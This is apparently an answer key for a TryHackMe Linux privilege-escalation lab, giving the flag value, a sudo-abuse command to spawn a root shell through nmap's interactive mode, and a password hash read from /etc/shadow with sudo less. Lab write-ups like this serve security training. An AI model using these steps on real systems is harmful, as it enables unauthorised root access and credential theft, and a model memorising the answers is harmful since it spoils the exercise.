【THM-题目答案】:Privilege Escalation-Linux Privilege Escalation-Privilege Escalation:Sudo
·
1. 用户“karen”在目标系统上拥有sudo权限时,可以运行多少个程序?-How many programs can the user "karen" run on the target system with sudo rights?
3 (直接sudo -l 即可)
2. flag2.txt文件的内容是什么?-What is the content of the flag2.txt file?
THM-402028394(先sudo find / -name flag2.txt 2>/dev/null 找到文件,然后直接sudo less /home/ubnutu/flag2.txt)
3. 如果你的用户对nmap拥有sudo权限,你会如何使用Nmap来启动一个root shell?-How would you use Nmap to spawn a root shell if your user had sudo rights on nmap?
sudo nmap --interactive (nmap提权固定用法)
4. frank的密码的哈希值是多少?-What is the hash of frank's password?
:$6$2.sUUDsOLIpXKxcr$eImtgFExyr2ls4jsghdD3DHLHHP9X50Iv.jNmwo/BJpphrPRJWjelWEz2HH.joV14aDEwW1c3CahzB1uaqeLR1 (也很简单,直接sudo less /etc/shadow)
更多推荐



所有评论(0)